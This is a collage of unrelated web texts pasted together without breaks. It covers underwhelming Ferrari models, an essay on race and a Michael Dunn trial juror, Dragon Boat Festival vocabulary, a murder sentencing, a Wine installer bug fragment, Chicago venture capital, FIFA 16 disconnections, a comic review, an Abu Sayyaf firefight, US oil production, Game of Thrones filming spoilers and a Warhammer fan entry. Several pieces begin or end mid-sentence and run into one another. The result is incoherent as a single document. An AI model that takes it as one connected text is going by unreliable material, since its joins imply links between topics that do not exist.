That might be because even Ferrari describes the Mondial's performance as "somewhat leisurely", owing to a larger, long wheelbase body that was significantly heavier than its predecessor (the 308 GT4). It didn't help that the Mondial's 3.0-litre V8 offered early fuel injection that limited power to a rather uninspiring 157kW, which resulted in performance well short of a modern hot hatch.
1979 Ferrari 400i
Increasingly strict vehicle emissions laws had a calming effect on Ferrari's plush, four-seat 400i coupe. Like the Mondial, the 400i was hobbled by a basic mechanical fuel injection system that restricted its 4.8-litre V12 to a claimed 228kW at 6500rpm.
It didn't help that the car was equipped with a three-speed automatic transmission that resulted in a 0-400 metre acceleration time of 15.8 seconds, a feat you could match in a modern Mazda3.
1956 410 Superamerica Ghia
Ferrari isn't to blame for one of the most aesthetically challenged cars in its history, the 410 Superamerica Ghia. As with other boutique brands at the time, early cars often used a Ferrari engine, chassis and running gear in combination with bodywork wrought by the likes of Scaglietti, Pininfarina, Zagato and more.
This one features US-inspired styling by Italy's Ghia design house, lending 50s-style tailfins and semi-faired wheels to a V12-powered 410 Superamerica coupe. We reckon there's a bit of Chrysler to the front grille, while the headlights evoke Ford's original Mustang - curious, as this car was built well before Ford's pony car made its debut.
1989 Ferrari 348
Luca di Montezemolo, former Ferrari chief and successor to Enzo Ferrari, is not a fan of the 348. The Italian businessman famously rewarded himself with a yellow example after taking a lead role organising the 1990 FIFA World Cup, later describing the 348 as "really terrible" and "one of the worst Ferraris in history". Granted, there may be some bias on his part as later models such as the Enzo and 458 Italia were created under his stewardship.
But the 348 wasn't particularly quick, its styling dated quickly and it was made before Ferrari introduced modern assembly standards. Ferrari got it right with the next model, the gorgeously styled, epic-sounding and reasonably fast F355.
1969 Ferrari 312
Ferrari's Formula 1 campaign did not go to plan in 1969. Working on a new model in the background, the team persisted with an ageing, V12-powered 312 open-wheeler that offered shocking reliability. With Le Mans-winning Kiwi Chris Amon at the wheel, the hideously unreliable 312 failed to finish the last five races in 1968. Polished up for the new season, the machine scored another trio of DNFs at the first three races in 1969 before Amon fought to a podium finish at the Dutch grand prix.
Another pair of retirements in France and England prompted Amon to quit in search of better machinery just before Ferrari returned to form.
2014 Ferrari F14 T
Aussie fans had a great time throughout the 2014 Formula 1 season, when Daniel Ricciardo broke through to take three wins and several podium results to cement his place as one of the best in the sport. It wasn't so kind to Italian fans, who had to endure Ferrari's worst season in two decades.
Ferrari missed the mark with new rules surrounding turbocharged cars, producing the lacklustre F14 T that struggled for pace throughout the year. Fernando Alonso, regarded by some experts as the best driver on the grid, managed to drag the unwilling machine onto the podium a couple of times - a testament to his skill and willpower rather than Ferrari's engineering. Going winless for the first time since 1993, the team recouped to take three wins with new driver Sebastian Vettel in the 2015 season.Last week, Creshuna Miles, Juror No. 8 in the Michael Dunn trial, gave an interview to CNN about the jury’s partial verdict. Although she believes that Michael Dunn is guilty of second-degree murder, a lesser charge for which the jury had the option to convict, she insisted that the case was “not about race,” that it never came up. Moreover, she believed Michael Dunn to be essentially “a good guy,” who made “bad choices.”
Startlingly, she also indicated that until Dunn ran down the street chasing Jordan’s three friends, she actually believed that Dunn acted in self-defense.
Advertisement:
Post-racial thinking is insidious not only because it gives lie to the very real and continuing material consequences of racism in this country, but also because it seduces young, optimistic, idealistic black youth into identifying with the very systems and people who would kill them without a second thought -- and then go order a pizza and a take a nap.
Part of what Miles’ impressions of Dunn reveal is that the defense did a far better job of humanizing Dunn for the jury than the prosecution did of humanizing Jordan for the jury.
But her impressions also reveal a deep disidentification with the seemingly retrograde racial politics that informed Dunn’s fatal engagement with Jordan Davis. Those 20th century-style racial politics take as a given that a group of young black men listening to rap music must be up to no good and that white harm is imminent.
Such thinking seems not to fit the cosmopolitan, progressive 21st century narrative of multiracial acceptance that ideological post-racialism pretends to be.
I know that jury selection is a strategy. And I know Creshuna Miles was picked because she is a black woman whose political views seem to be able to lay race to the side, even when it is so glaringly obvious.
Had Jordan Davis been white, he would still be alive. Maybe Michael Dunn would have yelled at a white Jordan Davis for bumping rap music, but he absolutely would not have perceived such a kid to be a threat or the playing of rap music loud enough to constitute a capital offense.
Advertisement:
Creshuna Miles came to a right decision, and wanted to convict Michael Dunn of some form of murder. But her fervent belief that the case was “about justice,” not “about race,” misses a fundamental truth about American society. Justice and injustice in this country are inextricable from racial politics. Racial politics determine everything from who gets arrested to who gets convicted, the harshness of the sentences they’ll serve, and the quality of legal representation they’ll have.
Moreover, Creshuna Miles is not just a black woman. She is a big, dark-skinned black woman, who rocks honey blond highlights in her hair. Her unmistakable, inescapable, culturally ethnic blackness is part of the unspoken but visual narrative of this trial. Just as Michael Dunn came upon a car and visually assessed threat based upon the color of the young men inside, the visuality of Creshuna Miles’ body absolutely influences how her testimony is understood.
In some ways Miles is a perfect foil for Rachel Jeantel. In Jeantel’s post-Zimmerman trial interview, she discounted a juror who claimed race hadn’t mattered in the trial, telling Piers Morgan, “Let’s be honest. It’s racial.” In this case, Creshuna Miles, just one year older than and visually similar to Rachel, comes along and says just the opposite. In both cases, black America saw the bodies of these two women and cringed. Internalized self-hatred coupled with violent conditions for black men is always a dangerous brew for black women. So I have been less compelled to jump on the "critique Creshuna" bandwagon, because so much of it is rooted in the unreasonable expectations that we have for black women to know how to outwit a system that is designed to work against not just black men, but us, too. Still I see Rachel and Creshuna and a certain knowing emerges for me.
I know that when you live your life in an unmistakably big black body, of the type that Rachel, Creshuna and I share, a body that is often seen as aggressive and threatening, two types of coping strategies emerge. One is a kind of aggressive embrace of one’s own blackness and a refusal to take any shit. That seems like how Rachel rolls. The other relies on a rejection of the truth about race as a form of triumph over the impenetrability of racial discourse. In other words, maybe Creshuna Miles felt more intelligent and progressive, by taking a contrarian position, by not holding the views that people assumed that she, as a black person, would hold.
Advertisement:
Given her particular kind of black embodiment, Creshuna Miles’ decision carries great weight in an American populace that deeply wants to believe in the myth of a colorblind system. The problem here – the lie of post-racialism, to be more precise – is that Miles’ rejection of the racial elements of this case hold more weight precisely because she is a black woman. Essentially, finding the biggest and blackest of black women to say that there was no miscarriage of justice in this case helps assuage any white guilt.
I’m not angry with Creshuna Miles. But I know her thinking, uninformed as it is, is dangerous. I know the justice system relies on the willing racial performativity of black people who are willing to discount the importance of race in matters such as these. Much like patriarchy requires the complicity and willing participation of women to continue, racism requires the complicity and willing, if unwitting, participation of black and people of color to continue.
I’m deeply bothered by the fact that she does not seemingly understand the way in which her body was used against her. That she felt compelled as a black woman in the case to come out and insist on all the ways that it wasn’t about race suggests how deeply it is about race. Florida’s justice system pimped Creshuna Miles for her body type and flawed perspective. Her identification with Dunn is the flip side of the same kind of logic that got Trayvon and Jordan killed. She failed to recognize that she was on the jury and appealing to the media precisely because she reads as everything Dunn is not. She might see the justice system as colorblind, but it absolutely would not see her in the same ways. Everyone sees her color. By the same token, Trayvon, Jordan, Rachel and even Marcus Smart all believed they could engage white people who approached them combatively on equal or similar terms.
Advertisement:
When Zimmerman confronted and questioned Trayvon, Trayvon talked back and then fought back. When the Zimmerman defense team goaded Rachel Jeantel on the stand, she served up a healthy helping of visible disdain. When Michael Dunn confronted Jordan and his friends, they all verbally resisted his “instruction” and command that they turn down the music.
These young black folks have not fully reckoned with what it means to occupy a completely different social position than the white people who confronted them and demanded various forms of compliance. One set of social positions has legal protection and the right to armed self-defense. The other social position requires deference and the eschewing of all aggression in order to be believed and protected – and in order to stay among the living.
Jordan, Trayvon and Rachel never perfected the fine art of respectable resistance. And because I am deeply resistant to respectability politics on principle, I’m not sure they should. But the death and tragedy these young people have endured reminds me of why our ancestors frequently turned to respectable forms of resistance as a form of survival.
Advertisement:
When I look at Creshuna Miles, it is clear to me that her racial analysis is far more akin to that of her peers than different. All of these young people want to believe that they have the right to assert themselves and their rights and priorities in the same ways that white men retain the prerogative to do. Through the most brutal of lessons, they continue to learn differently.
I hope Creshuna Miles learns differently. I remind myself that she is only 21 and that she did vote to convict. But racial innocence won’t serve her well. I hope she knows that she was chosen as a juror because of the combination of her black body and her whitewashed racial views, not despite them. And I hope time gently rather than harshly teaches her that post-racialism won’t protect her from her own blackness any more than it protected Jordan.If this is not the first time you ever heard of Dragon Boat Festival, you will not be surprised by the fact that during this festival people rushed to supermarkets to buy some glutinous rice wrapped by bamboo leaves, which is called “粽子 zongzi” in Chinese. So today, in order to clear your prejudice and help you know better about this traditional holiday, I will list the most important Chinese phrases about it for you.
1. 端午节 - duānwǔ Jié (Dragon Boat Festival)
Chinese people celebrate the Dragon Boat Festival, also called the Duanwu Festival or Double Fifth Festival, on the fifth day of the fifth month according to the Chinese lunar calendar.
For example:
A：nǐ zhī dào duān wǔ jié shì shén me shí hou mɑ?
你知道端午节是什么时候吗？
Do you know when is the Duanwu Festival?
B: zhī dào, duān wǔ jié shì měi nián de nónɡ lì yuè hào.
知道, 端午节是每年的农历5月5号.
Yes, Dragon Boat Festival is the May Fifth of lunar calendar.
A: nà nǐ dǎ suɑn qù nǎ lǐ ɡuò duān wǔ jié ？
那你打算去哪里过端午节？
Where do you plan to spend Duanwu Festival?
B: wǒ dǎ suɑn huí lǎo jiā ɡuò duān wǔ jié.
我打算回老家过端午节。
I plan to go back to hometown to spend Dragon Boat Festival.
2. 屈原 Qū Yuán (Qu Yuan, 340 BC - 278 BC)
This festival is to commemorate the great death of Qu Yuan, an extremely patriotic and upright poet, who has committed suicide by drowning himself into a river in Hunan province.
For example:
A: zhōnɡ ɡuó rén wèi shén me qìnɡ zhù duān wǔ jié？
中国人为什么庆祝端午节？
Why do Chinese people celebrate Dragon Boat Festival?
B: shì wèi le jì niàn qū yuán 。
是为了纪念屈原。
It is to commemorate Qu Yuan.
A：qū yuán shì shuí？
屈原是谁？
Who is Qu Yuan?
A：tā shì yí ɡè ài ɡuó shī rén.
他是一个爱国诗人。
He is a patriotic poet.
3. 龙舟比赛 lóng zhōu bǐ sài (Dragon Boat Race)
Dragon Boat Race was once held to remember Qu Yuan, which later became the most important activity of this festival. It symbolizes people’s attempts to rescue Qu Yuan. In the current period, these races also demonstrate the virtues of cooperation and teamwork.
A: jīn nián duān wǔ jié nǐ qù nǎ lǐ wán ？
今年端午节你去哪里玩？
Where will you go to for this year’s Dragon Boat Festival?
B: wǒ yào cān jiā xué xiào de lónɡ zhōu bǐ sài 。
我要参加学校的龙舟比赛。
I will join the Dragon Boat Race.
A: wā ， zhēn de mɑ ？ zhù nǐ hǎo yùn ！
哇， 真的吗？ 祝你好运！
Wow, really? Good luck!
B：xiè xiè ！
Thanks!
4. 粽子 zòng zi (Glutinous rice)
A: nǐ xǐ huɑn chī zònɡ zi mɑ ？
你喜欢吃粽子吗？
Do you like eating zongzi?
B: wǒ hěn xǐ huɑn！
我很喜欢！
A: nǐ xǐ huɑn chī shén me kǒu wèi de zònɡ zi
你喜欢吃什么口味的粽子?
What flavor of zongzi do you like?
B: wǒ xǐ huɑn chī ròu zònɡ ， nǐ ne ？
我喜欢吃肉粽，你呢？
I like the one stuffed with meat, how about you?
A: wǒ xǐ huɑn chī hónɡ dòu de 。
我喜欢吃红豆的。
I like the one with red beans.
Do you want to learn more Chinese phrases about Dragon Boat Festival? Book a free trial class and talk to our teachers!Image caption Kemp was told she must serve a minimum of 13 years
A woman who fatally stabbed a man she met on the internet will serve at least 13 years for his murder.
Carol Kemp stabbed Martin Rusling through his heart at his Dorset home when he expressed his wish to end their relationship last December.
Kemp, 45, from Torquay, denied murder, claiming she had brandished the knife to self-harm. She was convicted after a trial at Winchester Crown Court.
She was given a life sentence for the attack on Mr Rusling, 43, in Portland.
Mr Rusling, who worked as a laminator, had shown no violence towards her at his house in Park Road on 28 December, the court heard.
Mr Rusling was stabbed right through both chambers of the heart Judge Linda Dobbs
Passing sentence, Judge Linda Dobbs told Kemp: "There was a struggle and you pulled Mr Rusling's chain. There were scratches all over his face which suggest violence.
"Mr Rusling was stabbed right through both chambers of the heart."
'Callous act'
The judge accepted the attack was not premeditated, took into account that Kemp, of St Marychurch, "deeply regretted what happened", was struggling to cope with prison life and that she had been threatened by another inmate.
The court also heard how the defendant was unable to respond appropriately to stress, as outlined in a medical report.
Kemp, originally from Burnley, Lancashire, met Mr Rusling on an internet dating site, the court heard.
Outside court, Det Insp Neil Devoto, of Dorset Police, said: "Martin Rusling was well loved by his family and was popular with residents in Portland |
) we got fault packet with status 0xc004f012
(not present in Wine), which may indicate a possible memory corruption. Then the next MSI installation step "CAPopulateSPPCache" is run and subsequently fails (making the full installation failing).
These last problems need more investigation. I hope obtaining new interesting results during the next weeks! Stay tuned!In the last few days, Chicago has popped up in the news around venture capital, startups, and technology. Not only has it been garnering attention for the $70M raise by Tempus and as a likely site for the new Amazon headquarters, but earlier this month hundreds of top-tier coastal venture capitalists came to the city for the Chicago Venture Summit. Their goal was to understand the Midwest market opportunity so they could find their own record-busting unicorns like the Chicago-based companies Uptake and Raise, the latter of which raised $60M led by Accel last week.
Why is this happening – why are tech giants and VCs betting on Chicago?
The answer is simple: Talented entrepreneurs starting great companies in hot industries, and higher investor returns.
Chicago is a major player when it comes to investing in both dollars and deals nationally. Since 2014, venture capitalists have been investing more dollars in fewer deals, starting with $50B in 8,000 deals in 2014 and moving to nearly $80B at the same number of deals in 2015, and $70B in just under 7,000 deals in 2016 across the U.S. This indicates a flight to quality, one that Illinois has matched across its own cycle, with approximately $1.5B in 225 deals in 2014, $2B in 200 deals in 2015, and just under $1.5B in 125 deals in 2016.
However, this year is projected to change the trend both nationally and locally, with more dollars invested in more deals. By the end of the year, my firm Hyde Park Angels (HPA) estimates $90B will be invested in 9,000 deals nationally and over $2B will be invested in 200 deals in Illinois.
Earlier this year, Pitchbook released an analysis that showed Chicago is the number one location for investor returns. A deeper dive shows that Chicago is 1.5x more likely to return capital greater than 10x to investors than any other city in the U.S.
Head to head against cities other than San Francisco – what we call “Tier 2” cities – Chicago is the leader in top exits over the last 5 years. This can be attributed to major unicorns like Grubhub, Gogo, ExteNet Systems, Cleversafe, and Fieldglass.
Specifically, while San Francisco remains dominant in dollars returned by exits over the last five years, Chicago’s $10.7B returned in that same period outpaces Seattle’s $8.4B, Boston’s $8.5B, LA’s $9.3B, and closely matches New York City’s $10.8B.
Chicago’s ability to return capital is so consistent because our valuations are more affordable. It costs 2.2x more capital to retain 10% ownership from seed to Series C in the Bay Area as it does in the Midwest. Why? Because costs are lower.
In Chicago, low rent and low living costs make for reasonable wages and lower operational costs. Plus, Chicago companies see less employee turnover, reducing the costs associated with talent churn. Despite having a more loyal workforce, Chicago companies still have access to some of the best technology talent in the country, thanks to universities like the University of Chicago, Northwestern University, and the University of Illinois at Urbana-Champaign.
While this data has remained somewhat consistent over time, recently, VCs are paying closer attention. Major coastal firms Goldman Sachs Ventures and Google Ventures invested in Outcome Health’s $500M round at a $5B valuation.
Other top VCs from the Coasts are also spotting opportunities in healthcare, both in Chicago and the Midwest, leading to investments from NEA, Bessemer Venture Partners, Bain Capital Ventures, and others in companies like PatientPoint in Cincinnati.
This trend at looking at industry-specific verticals as a means of finding the next best investment has brought VCs further into the Chicago ecosystem. Illinois is home to 36 Fortune 500 companies and several more titans of industry across sectors, making it a highly acquisitive environment.
The Internet of Things (IOT) boom in the city, largely due to the influence of Uptake, has created buzz around the entire industry. Uptake’s partnership with Caterpillar has become the promise and the goal for emerging companies forming nearby. It’s no surprise then that the Illinois Technology Association is hosting the Internet of Things Summit next month, and the state CIO is transitioning into a role heading up Amazon’s Smart Cities IOT and Transportation verticals.
Chicago is also building a strong presence in the hot data science and AI spaces, no doubt attracting VC attention. Legacy data analytics companies like IRI, Nielsen, and MarketTrack (recently acquired by Vista Equity) laid the foundation for emerging players like Catalytic (which my VC group Hyde Park Angels has a stake in), Civis Analytics, and Narrative Science.
Another area of strength for Chicago is the logistics industry, which has given rise to major startup players like ShipBob (HPA investment) and FourKites (HPA investment) that raised rounds from Bain Capital Ventures, and Project44 from Emergence Capital. These companies are buoyed by other Chicago companies like Coyote Logistics, Echo Global Logistics, and C.H. Robinson.
All in all, the city’s unique blend of low valuations, access to major customers and acquirers, and entrenchment in high-demand industry verticals is making those betting odds look good for investors everywhere. And that’s why they keep coming.FIFA 16 Ultimate Team Disconnection Issues are Costing Players Real Money
FIFA 16‘s Ultimate Team mode has a nasty habit of routinely disconnecting players from game sessions. This would be annoying in and of itself, but it becomes all the more irritating due to how the game fails to recognize the difference between the disconnection happening as a result of an issue with EA’s servers, and as a result of a player purposely quitting a match.
FIFA 16 punishes players who have dropped out of an Ultimate Team match prior to the final whistle being blown by marking the result down as a loss and, more crucially, reducing their DNF Multiplier. The DNF Multiplier is a system that EA incorporates into its FIFA series which reduces the amount of in-game coins a player can earn after a match each time they quit before it has ended, which is essentially intended to discourage players from rage-quitting. However, players are finding that their DNF Multipliers are being reduced even if they are being disconnected as a result of server issues, which is negatively impacting upon the amount of in-game coins that they can win upon completion of a match.
This is an issue that has plagued the FIFA series for a few years now, but it has never been more prominent than in FIFA 16. There are currently many FIFA players who cannot play more than a couple of matches without being disconnected, and I have spoken to a few people who have seen their DNF Multipliers being reduced to the lowest they can possibly be, less than a week since the game’s launch. I and many other players have also found the game to be blighted by lag throughout the vast majority of its matches, particularly in the Ultimate Team mode.
Online issues have always been a problem that the series has struggled to tackle, but that they are actually proving to be worse in EA’s latest entry is frustrating, especially considering that one of its latest and most widely promoted game modes, the FUT Draft, is reliant upon players maintaining a win streak. The FUT Draft, which tasks players with creating a team out of a selection of the game’s best Ultimate Team trading cards and then embarking upon a winning streak in order to win rare card packs, requires a Token to enter which can either be purchased with in-game coins or 300 FIFA Points, which are purchased using real-life money. Many have therefore bought a Token using actual money, only to then be forced out of a game due to a server issue, have the match count as a loss and find themselves kicked out of the Draft.
Players have contacted EA to ask them to refund their Draft Tokens, and have been pointed in the direction of the company’s advisors, though no definitive word has been given by the company’s official Twitter accounts. It seems that this could be because the company is refusing to refund those who have faced the problem, as highlighted in a post made on EA’s FIFA forums by a user who claims that EA has denied him/her a new Token/refund after they were disconnected from a Draft match. This effectively means that FIFA 16‘s online issues are actually costing players real money, as at the time of this writing the Draft is essentially FIFA‘s version of a broken arcade machine that takes your money but then doesn’t allow you to play it.
In short, the game’s online component is currently a mess, and these problems are all the more glaring this year considering that Konami’s Pro Evolution Soccer 2016 has taken back its crown as the king of football games. With many finding themselves disenchanted with having to suffer through the same problems in this year’s FIFA, Pro Evo could certainly earn itself some more converts in 2017, and it’s time that EA stepped up its game and fixed the issues that have become so synonymous with their flagship franchise.Fuzz & Pluck is the long-running series by Ted Stearn, a cartoonist, and animator for some of our favorites, Beavis & Butthead, Futurama, and the almighty Rick and Morty. The series stars a kind and anxious teddy bear named Fuzz, who is constantly following his friend Pluck, an ornery rooster. The two get into daring shenanigans and all around wacky adventures. There have been three installments since the series debuted in 1999. The third is The Moolah Tree, which will be released October 16th from the equally awesome Fantagraphics Books.
After being chased ashore by lackluster pirates, and finding themselves in a town completely foreign to them, the titular buddies discover they are on their own. After getting wrapped up in a conflict bigger than them, they are faced with either fending for themselves or helping out others all while being surrounded by killer bees, being hunted, and having significant money problems.
Stearn’s cover, colors, and font choice are all very Dr. Seuss-like, even his line work brings to mind the work of the beloved children’s artist. The comic within is all black and white, and the comparisons to Seuss leave along with the color. It has the appearance of a children’s book, but it’s humor, themes, and sensibilities are all that of an Adult Swim cartoon. ::cough Rick cough Morty:: Given Stearn’s list of admirable animation work this makes total sense.
With a deceptively simple style, it hides within it all the grown up ideas Stearn touches on until everything perfectly comes together in the end. It’s somehow an amazing balance of cynical and sweet, making the journey truly feel worth it, both for reader and characters.
The book is a quick read, at 290 pages, taking only an hour or two. The Moolah Tree is fast paced, especially as has the characters trek through numerous settings, all in such a small amount of time but it never feels rushed. Stearn’s artwork gets to shine in those scenes, as it shifts from the ocean to a small town, and to the primary surrounding, a forest.
The character designs are whimsical, as you’d expect them to be. Stearn’s sort of gross Dr. Seuss-ness adds to the feeling of how imperfect but ok everyone is in their world. Fuzz and Pluck have a relationship that’s a kin to Ren and Stimpy. The purer of the two, Fuzz, is very rounded and inviting. While the sleazier, off-putting one, Pluck, is grotesque and sharper.
The Moolah Tree’s black and white art might be off-putting to casual fans of graphic novels, those who are used to vibrant color, but this story is solid. The writing is lighthearted, and the art is perfect. The inappropriate use of “cute” animals in “adult” situations never fails to be amusing.
The whole thing comes together for a satisfying ending. It’s conventional in some ways, while still playing around with reader’s expectations and with traditions you’d find in a kids’ moral story. Where it deviates is by adding just the right amount of cynicism to keep in line with the series’ tone and heart. The Moolah Tree is a fun, fast ride, for anyone with a dark sense of humor. It’s the perfect bedtime story if you’re a little sick in the head, like the rest of us Ricky and Morty fans.
You can buy the rest of the series or pre-order The Moolah Tree, from Fantagraphics.At least 9 people were killed Tuesday as police and military clash with 10 suspected members of the Abu Sayyaf kidnap group on the resort island of Bohol, authorities said.
As of 2:00 p.m., a policeman and three soldiers have been killed while 5 bodies of armed men have been recovered in Inabanga, Bohol, the Armed Forces of the Philippines told ABS-CBN News.
The firefight that started 5 a.m., was still on in some areas of the sitio in Bohol, AFP spokesperson Brig. Gen. Restituto Padilla said in an interview with ANC's News Now.
Residents first spotted the armed men aboard three pump boats along the Inabanga river, Mayor Roygie Jumamoy said.
"Dumating sila (men) yesterday morning... Pumasok sa Inabanga River, then doon sila nagpunta sa Barangay Napo... Then may nakita yung mga bata doon na meron daw mga mataas na armas," Jumamoy said.
The incursion would be the first on a major Philippine tourist destination in recent years by the Abu Sayyaf, which has long engaged in kidnappings for ransom -- often targeting foreigners in the lawless southern Philippines.
Five bodies have been recovered at the scene of the fighting, Philippine military spokesman Brigadier-General Restituto Padilla said on ABS-CBN television in Manila.
At least one policeman was confirmed killed in the fight, national police spokesman Senior Superintendent Dionardo Carlos said in a statement.
"Security forces reported that the armed group is well-armed with heavy-caliber weapons, but now cornered in an isolated section" of Bohol, Philippine military chief of staff General Eduardo Ano said in a statement.
It comes after the US and Australian embassies warned their citizens this week about possible kidnappings by "terrorist groups" in the central Philippines.
Bohol is a major tourist destination, where foreign tourists swim with whale sharks and marvel at tiny primates called tarsiers, go on cruises aboard boats on crystal-clear rivers and lounge at white-sand beaches.
Police and soldiers take position as they engage with the Abu Sayyaf group in the village of Napo, Inabanga town, Bohol, on Tuesday. Nine people, including four government security officials, were killed during clashes with the Abu Sayyaf on the popular resort island as millions prepare to travel for the Easter holiday. AFP
Military spokesman Padilla said the army had received information over the past few weeks about "a potential activity on the part of some lawless elements to disturb the peace" in the area.
"The clearing operations are ongoing and we are pouring in more forces to help and assist. We hope to finish this by the end of the day," the spokesman added.
The gunmen sailed into the Bohol town of Inabanga on Monday, going upriver toward a remote section of the island aboard three fast boats, Inabanga police officer Edwin Melicor told AFP by telephone.
"Residents told us the gunmen could have been Muslims because they were aboard boats that are used only in Mindanao," Melicor said, referring to a Muslim-populated southern area.
Residents of Barangay Napo and other nearby areas have been evacuated as government troops pour in more resources to "resolve" the conflict "immediately before the day ends," Padilla said.
The Municipality of Inabanga is where the new fault line emerged during the 2013 Bohol earthquake, referred to as The Great Wall of Bohol.
The clash broke out as police went to investigate early Tuesday, Melicor added.
The Abu Sayyaf, also blamed for deadly bombings, has pledged allegiance to the Islamic State movement that holds large swathes of Iraq and Syria.
Over the past year the Abu Sayyaf has been expanding its activities, boarding commercial and fishing vessels off their southern island stronghold of Jolo, near Malaysia, and abducting dozens of foreign crew members.
They beheaded a German tourist earlier this year and two Canadian tourists last year, all three of them having been seized at sea.
--- with reports from Agence France-Presse, Chiara Zambrano, ABS-CBN NewsA few years ago, I made the observation that the best thing that could happen to mitigate against some of the potentially severe consequences of peak oil was for oil prices to rise, and remain high in the years before oil production peaked. That would have the effect of encouraging conservation, as people adapted to a world in which oil is no longer cheap. High oil prices would also incentivize oil production, which would have the effect of preventing steep declines in global oil production — which some had predicted would lead to severe economic crisis or possibly economic collapse.
We have certainly seen both conservation and increased oil production, but I have been really surprised by some of the details of how it has happened.
For example, as oil prices raced to $100, consumption in the US and Europe declined as I expected. But consumption in all developing regions increased sharply — so much so that the net impact was for global consumption to increase.
(Read More: Petroleum Demand in Developing Countries)
I didn’t expect this; rather I expected that we would see oil consumption decline across the board.
But perhaps we simply have not reached an oil price high enough to discourage increasing consumption in developing countries. We have to keep in mind that per capita consumption in these countries is very low, so oil makes up a small part of individual expenditures.
But the second surprising thing — actually “stunning” would be a more appropriate descriptor — is the extent to which oil production in the US has reversed direction. I always expected that peak oil would be a function of oil prices. In other words, if oil prices were fixed at $25/bbl, I have no doubt that global oil production would be in decline. In other words, we have passed “peak $25 oil.”
But oil prices are not fixed, and as oil prices rose more and more marginal production began to make economic sense. The development of horizontal drilling and hydraulic fracturing (fracking) opened up vast new supplies of oil by the time the price reached $100/bbl.
(Read More: The Effect of New Production Methods on U.S Oil Output)
Oil production in the US began to rise in 2009, in response to record capital expenditures by oil companies in the face of sharply rising oil prices starting in about 2005. The production increase has been sustained to the point that production rose all four years of President Obama’s first term. To put that in perspective, that’s the first time this has happened since the 1960′s when Lyndon B. Johnson was president.
For those who watch production numbers from the Energy Information Administration (EIA), it was clear that 2012 was shaping up to be a big year. US oil production rose above the 6 million bpd mark in late 2011 — for the first time since 1998. By the end of summer 2012, production had risen by another half million bpd. (Source).
Last week the American Petroleum Institute (API) released their Monthly Statistical Report [pdf], which puts 2012 — and the current status of US oil production — into perspective. According to the API, in 2012 US oil production increased by 779 thousand bpd — an increase of 13.8% over 2011 levels. But more amazing is that this marks the largest annual increase of oil production in US history. Further, the EIA predicts another jump of 900K bbl/day in 2013.
(Read More: How Much Oil Does the World Produce?)
If you had told me in 2005 that we would see these kinds of production gains in the US, I would have thought you were crazy. I have always cautioned people that the future is uncertain, no matter how certain you may be of a particular outcome. I know people who were absolutely positive that by 2013 we would see natural gas at $15/MMBTU and oil at $300-$500/bbl. Then along came fracking and those expectations were turned upside down.
I still think it’s going to be difficult to threaten the all-time US production high of 1970. For two consecutive months in 1970, US oil production exceeded 10 million bpd before beginning a very long decline. But I have been so shocked by the rapid rise in US oil production, I will no longer say it is impossible. I simply don’t know how long this revolution might run, but it won’t take too many more years like 2012 and the US will be pushing up against the all-time production record.
Previous Articles on Peak Oil
Peak Demand Before Peak Oil?
Leaked Study on Peak Oil Warns of Severe Global Energy Crisis
Five Misconceptions About Peak Oil
Peak Oil Interview: Misconceptions, Replacing Oil, and False Solutions
Peak Lite Revisited
Link to Original Article: The Amazing Reversal of the US Oil Industry
By Robert RapierSince the stars of Game of Thrones arrived in the south of Spain earlier this week, it’s been like the second coming of the Beatles, with hordes of young people screaming outside the cast’s hotel. Not bad for a nerdy fantasy show! The locals of Seville are embracing the show’s stars, and photos and videos are pouring in.
Today, a handful of very young fans lucked out when Emilia Clarke, who had just left the set, hopped out of the car to pose with them. The actress shared the photo on Instagram, because everyone wasn’t already in love with her, no she had to lay this adorable moment on us.
More cast sightings below- some can be considered a potential spoiler, so proceed with caution!
Lena Headey was spotted by fans today:
Here’s Kit Harington receiving adoration at his hotel:
Iain Glen posed with fans in Seville yesterday:
And just to give you a taste of how wild it’s getting- Emilia’s arrival yesterday:
The arrival of Emilia Clarke... No words needed // La llegada de Emilia Clarke… No se necesitan palabras #gameofthrones #daenerys A video posted by Yugi Draws – Inking Life (@yugidraws) on Nov 4, 2016 at 12:15pm PDT
And Iain Glen’s arrival back at the hotel. Nice to see Jorah getting some love!
Iain Glen getting back to his hotel last night. Credits to @aquete_ and thanks to @rocioruiz14?? A video posted by gotseason7_news (@gotseason7_news) on Nov 5, 2016 at 9:04am PDT
Iain and Liam Cunningham outside the hotel yesterday:
Liam (Davos) and Iain (Jorah) talking to fans outside their hotel in Sevilla, Spain. Credits and thanks to @irenecuefe A video posted by gotseason7_news (@gotseason7_news) on Nov 5, 2016 at 6:51am PDT
That’s just a sampling of the attention the cast has received over the last couple days- visit Instagram and Twitter’s #gameofthrones tags and you’ll see that Seville has as much love for Game of Thrones as any city we’ve ever seen!
Now, moving into the latest Game of Thrones filming news! It does contain major spoilers and we do mean major- so stop here and do not pass the gif if you don’t want to know!
Reliable WotW sources have confirmed that a scene in the works over the last couple days does line up with rumors that’ve been floating around the GoT fandom for the past few weeks.
Our sources tell us Lena Headey, Peter Dinklage, Emilia Clarke, Kit Harington, Iain Glen, Conleth Hill, Nathalie Emmanuel, Anton Lesser, and Hafthor Bjornsson aka The Mountain all worked together today filming at Italica.
And what was such an incredibly broad group of characters doing together in one location-both Dany’s crew and Cersei’s gang? We have confirmed that the filmed scene involves characters bringing a wight into the Dragonpit as proof of the White Walker threat.
This won’t come as a shock to fans who follow fandom rumors but we view most spoilers with a suspicious eye until we have them confirmed for ourselves. And this one, we have confirmed.
Update: We’ve also learned that Rory McCann was filming today with everyone else. Even though both Clegane brothers were present, there was no fighting. Sorry, everyone, no Cleganebowl today!This article, Arbiter Knights, was written by I3enjy. Please do not edit this article without their explicit permission.
This article, Arbiter Knights, is still being written. The author, I3enjy, apologises for the inconvenience.
Arbiter Knights Space Marine Chapter Founding 27th Founding Successor of Dark Angels Chapter Master Iudex Gavelwing Homeworld Iuris, A planet-sized mega city Fortress The Iudicium Monastery Allies Inquisition, yet many chapters are not quick to trust them due to their methods of a verdict. Specialty Purging early signs of Chaos corruption, even in fellow marines Battle cry "Kill them all, and let the Immaterium be the final judge" Colours Grey, Green and Yellow Successor chapter(s) None
"We will bear witness to the actions of mankind, and deem it as we must." —Iudex Gavelwing, Chapter Master of the Arbiter Knights
The Arbiter Knights are a 27th founding Ultima Chapter. Successors of the Dark Angels, the Arbiter Knights are the sole strike force of the Adeptus Juditorium, whose sole purpose is to gather information and purge early signs of chaos and Xeno corruption. When the Adeptus Juditorium has deemed a soldier corrupt, The Arbiter Knights will stop at nothing to rid them of their existence. A loyal cause, but one of controversial practice.
